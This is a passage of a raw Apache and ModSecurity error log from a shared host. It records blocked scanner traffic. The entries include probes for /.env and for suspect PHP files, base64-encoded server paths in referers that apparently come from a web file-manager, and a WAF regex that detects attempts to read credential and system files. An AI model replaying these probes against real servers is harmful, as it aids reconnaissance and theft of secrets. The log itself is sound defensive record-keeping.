https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:09:47.711345 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:09:47.755719 2026] [security2:error] [pid 531155:tid 531180] [remote 17.241.75.249:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSymiP80klyS0Nnr0FQABNRg"] [Sat Jun 13 18:09:48.021292 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.59:53239] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:48.021685 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.59:53239] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:48.036765 2026] [access_compat:error] [pid 531797:tid 531873] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:09:48.037043 2026] [access_compat:error] [pid 531797:tid 531873] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:09:48.188231 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.53:59638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:48.188548 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.53:59638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:48.197862 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:09:48.198303 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:09:48.415216 2026] [security2:error] [pid 531797:tid 532059] [client 172.171.3.232:60121] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/aevly.php"] [unique_id "ai3xTMTA7b1mZrmcA-8d0QAAAlE"] [Sat Jun 13 18:09:48.529144 2026] [security2:error] [pid 531155:tid 531323] [client 191.234.188.123:27242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/ianmg.php"] [unique_id "ai3xTCmiP80klyS0Nnr0JAAAATA"] [Sat Jun 13 18:09:48.601615 2026] [security2:error] [pid 531155:tid 531165] [remote 17.22.245.178:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xTCmiP80klyS0Nnr0KQABbwk"] [Sat Jun 13 18:09:48.649489 2026] [access_compat:error] [pid 531797:tid 531959] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:09:48.649942 2026] [access_compat:error] [pid 531797:tid 531959] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:09:48.674043 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.17:54082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:48.674514 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.17:54082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:48.698416 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:09:48.698862 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:09:48.699525 2026] [security2:error] [pid 531797:tid 532055] [client 34.170.189.242:38250] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bna.rqu.mybluehost.me"] [uri "/.env"] [unique_id "ai3xTMTA7b1mZrmcA-8d6AAAAk0"] [Sat Jun 13 18:09:48.748184 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.72:52119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:48.748438 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.72:52119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:48.890381 2026] [security2:error] [pid 531797:tid 532027] [client 191.233.234.186:44728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/yoy123.php"] [unique_id "ai3xTMTA7b1mZrmcA-8d8AAAAjM"] [Sat Jun 13 18:09:49.163353 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2Mvc2VsZi9yb290 [Sat Jun 13 18:09:49.163863 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2Mvc2VsZi9yb290 [Sat Jun 13 18:09:49.243131 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:49.243602 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:49.270291 2026] [security2:error] [pid 531155:tid 531345] [client 20.151.217.54:40220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/wolf.php"] [unique_id "ai3xTSmiP80klyS0Nnr0MgAAAUY"] [Sat Jun 13 18:09:49.403685 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.107:46951] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:49.403996 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.107:46951] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:49.440122 2026] [security2:error] [pid 531155:tid 531367] [client 172.171.3.232:58706] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/tk.php"] [unique_id "ai3xTSmiP80klyS0Nnr0NgAAAVw"] [Sat Jun 13 18:09:49.445818 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:49.446264 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:49.543816 2026] [security2:error] [pid 531155:tid 531329] [client 47.79.206.169:25154] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.206.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "an-ime.com"] [uri "/index.php"] [unique_id "ai3xTSmiP80klyS0Nnr0OQAAATY"], referer: https://www.google.com/ [Sat Jun 13 18:09:49.566115 2026] [security2:error] [pid 531155:tid 531197] [remote 17.246.15.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xTSmiP80klyS0Nnr0OgABiSk"] [Sat Jun 13 18:09:49.613517 2026] [access_compat:error] [pid 531797:tid 531917] [remote 57.141.14.80:35031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:49.613929 2026] [access_compat:error] [pid 531797:tid 531917] [remote 57.141.14.80:35031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:49.613934 2026] [security2:error] [pid 531155:tid 531376] [client 20.151.217.54:65232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/spire.php"] [unique_id "ai3xTSmiP80klyS0Nnr0OwAAAWU"] [Sat Jun 13 18:09:49.671518 2026] [access_compat:error] [pid 531797:tid 531884] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDI1MC9yb290 [Sat Jun 13 18:09:49.671981 2026] [access_compat:error] [pid 531797:tid 531884] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDI1MC9yb290 [Sat Jun 13 18:09:49.696825 2026] [security2:error] [pid 531797:tid 531978] [remote 17.241.75.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xTcTA7b1mZrmcA-8eCgACYnE"] [Sat Jun 13 18:09:49.767944 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NA== [Sat Jun 13 18:09:49.768228 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NA== [Sat Jun 13 18:09:49.834783 2026] [security2:error] [pid 531155:tid 531219] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xTSmiP80klyS0Nnr0PwABOT8"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:49.932342 2026] [security2:error] [pid 531797:tid 531891] [remote 57.141.14.97:35652] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xTcTA7b1mZrmcA-8eFgACVxs"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=549&_wpnonce=8d149de2a5&add-to-cart=389 [Sat Jun 13 18:09:50.046201 2026] [core:error] [pid 531155:tid 531397] [client 185.13.96.91:38443] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:09:50.046229 2026] [core:error] [pid 531155:tid 531397] [client 185.13.96.91:38443] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:09:50.054765 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.6:54736] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:50.055205 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.6:54736] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:50.159602 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.67:38157] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:50.159995 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.67:38157] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:50.196690 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2MvbGVzcw== [Sat Jun 13 18:09:50.197005 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2MvbGVzcw== [Sat Jun 13 18:09:50.234389 2026] [security2:error] [pid 531797:tid 532000] [client 20.151.217.54:48133] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/sd.php"] [unique_id "ai3xTsTA7b1mZrmcA-8eJwAAAhg"] [Sat Jun 13 18:09:50.253970 2026] [autoindex:error] [pid 531797:tid 532045] [client 185.247.137.241:56513] AH01276: Cannot serve directory /home4/eozfizmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://eoz.fiz.mybluehost.me [Sat Jun 13 18:09:50.257255 2026] [security2:error] [pid 531797:tid 532039] [client 20.151.217.54:48590] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/twinklingly.php"] [unique_id "ai3xTsTA7b1mZrmcA-8eKQAAAj4"] [Sat Jun 13 18:09:50.281141 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 